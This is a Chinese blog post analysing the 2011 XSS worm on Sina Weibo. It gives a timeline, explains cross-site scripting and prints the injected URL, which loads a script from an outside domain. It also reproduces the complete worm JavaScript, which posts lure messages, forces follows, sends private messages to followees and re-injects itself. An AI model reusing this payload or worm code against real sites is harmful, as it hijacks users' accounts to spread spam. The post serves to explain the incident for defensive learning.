http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。

  事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

  新浪微博XSS事件

  在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你 运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器 上的程序通话。这就是XSS攻击的最基本思路。
  再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协 议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗 口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿使用你登录状态的。
  当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。因为浏览器的安全性让js只能访问自己所在网站的资源。当然,这是浏览器做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你不在用IE6,应该没有这些问题。
  XSS攻击有两种方法,
  • 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
  • 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

  这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:

代码:

  1. http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  注意,上面URL链接中的其实就是
代码:
< script src="//www.2kt.cn/images/t.js"></script>
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制,所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。

其它

  • 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
  • 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
  • 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
[javascript] view plaincopy
  1. function createXHR(){
  2. return window.XMLHttpRequest?
  3. new XMLHttpRequest():
  4. new ActiveXObject("Microsoft.XMLHTTP");
  5. }
  6. function getappkey(url){
  7. xmlHttp = createXHR();
  8. xmlHttp.open("GET",url,false);
  9. xmlHttp.send();
  10. result = xmlHttp.responseText;
  11. id_arr = '';
  12. id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
  13. for(i=0;i<id.length;i++){
  14. sum = id[i].toString().split('"')[3];
  15. id_arr += sum + '||';
  16. }
  17. return id_arr;
  18. }
  19. function random_msg(){
  20. link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
  21. var msgs = [
  22. '郭美美事件的一些未注意到的细节:',
  23. '建党大业中穿帮的地方:',
  24. '让女人心动的100句诗歌:',
  25. '3D肉团团高清普通话版种子:',
  26. '这是传说中的神仙眷侣啊:',
  27. '惊爆!范冰冰艳照真流出了:',
  28. '杨幂被爆多次被潜规则:',
  29. '傻仔拿锤子去抢银行:',
  30. '可以监听别人手机的软件:',
  31. '个税起征点有望提到4000:'];
  32. var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
  33. msg = encodeURIComponent(msg);
  34. return msg;
  35. }
  36. function post(url,data,sync){
  37. xmlHttp = createXHR();
  38. xmlHttp.open("POST",url,sync);
  39. xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  40. xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  41. xmlHttp.send(data);
  42. }
  43. function publish(){
  44. url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
  45. data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
  46. post(url,data,true);
  47. }
  48. function follow(){
  49. url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
  50. data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
  51. post(url,data,true);
  52. }
  53. function message(){
  54. url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
  55. ids = getappkey(url);
  56. id = ids.split('||');
  57. for(i=0;i<id.length - 1 & i<5;i++){
  58. msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
  59. msg = random_msg();
  60. msg = encodeURIComponent(msg);
  61. user = encodeURIComponent(encodeURIComponent(id[i]));
  62. data = 'content=' + msg + '&name=' + user + '&retcode=';
  63. post(msgurl,data,false);
  64. }
  65. }
  66. function main(){
  67. try{
  68. publish();
  69. }
  70. catch(e){}
  71. try{
  72. follow();
  73. }
  74. catch(e){}
  75. try{
  76. message();
  77. }
  78. catch(e){}
  79. }
  80. try{
  81. x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
  82. }
  83. catch(e){}
  84. main();
  85. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

新浪微博XSS攻击事件的更多相关文章

  1. 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)

    function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Mi ...

  2. XSS第四节,XSS攻击实例(一)

    在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?q ...

  3. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  4. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. 前端安全系列(一):如何防止XSS攻击?

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

  7. XSS 防范XSS 攻击的措施

    XssSniper--0KEE TEAM               XssSniper--0KEE TEAM XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发 ...

  8. 转:前端安全之XSS攻击

    前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...

  9. 【网络安全】给你讲清楚什么是XSS攻击

    给你讲清楚什么是XSS攻击 1. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS) ...

随机推荐

  1. 在iOS 7中使用storyboard(part 1)

    原文:Storyboards Tutorial in iOS 7: Part 1        感谢翻译小组成员heartasice热心翻译.如果您有不错的原创或译文,欢迎提交给我们,更欢迎其他朋友加 ...

  2. java 调用shell命令

    原文:http://kongcodecenter.iteye.com/blog/1231177 Java通过SSH2协议执行远程Shell脚本(ganymed-ssh2-build210.jar)   ...

  3. 【资料】wod食物

    注意:1. 除非另外注明, 所有效果持续时间为整个地城2. 某几样食物若使用午饭时间技能, 效果只有LV1 (lunch level -25), 请小心服用. X技能等级 = 技能等级 焖豆属性奖励体 ...

  4. 为11gR2 Grid Infrastructure增加新的public网络

    在某些环境下,运行11.2版本的RAC数据库的服务器上,连接了多个public网络,那么就会有如下的需求: 给其他的,或者说是新的public网络增加新的VIP地址. 在新的public网络上增加SC ...

  5. USACO numtri 数塔问题

    /* ID:kevin_s1 PROG:numtri LANG:C++ */ #include <iostream> #include <cstdio> #include &l ...

  6. 如何使用V7包中ActionBar(Eclipse版)

    转自:http://blog.csdn.net/appte/article/details/11712591 以前3.0以前的版本要使用ActionBar,必须使用国外大牛写的ActionBarShe ...

  7. thinkphp5(tp5)中success跳转页面和弹窗问题解决

    自己做了一个form页面,对其操作后,根据$this->success('提示信息',''),执行后是通过笑脸页面跳转,而不是在本页弹框后刷新.源码里带的原来的例子是弹出框刷新,为什么我自己做的 ...

  8. Python学习(六)模块 —— 第三方库

    Python 第三方库 安装第三方库 在Python中,安装第三方库包,是通过setuptools这个工具完成的.Python有两个封装了setuptools的包管理工具:easy_install和p ...

  9. kubernetes基础概念

    kubernetes是基于容器技术的分布式架构领先方案.具有完备的集群管理能力,包括多层次的安全防护和准入机制.多租户应用支撑能力.透明的服务注册和服务发现机制.内建智能负载均衡器.强大的故障发现和自 ...

  10. Voice Commands (VCD) Cortana 微软小娜示例

    Cortana 样品 您可以创建自定义功能Cortana使用Cortana技能装备或遗留的声音命令(VCD)平台. 在这里,你可以找到相关的样品: Cortana技能装备 目前Cortana技巧是建立 ...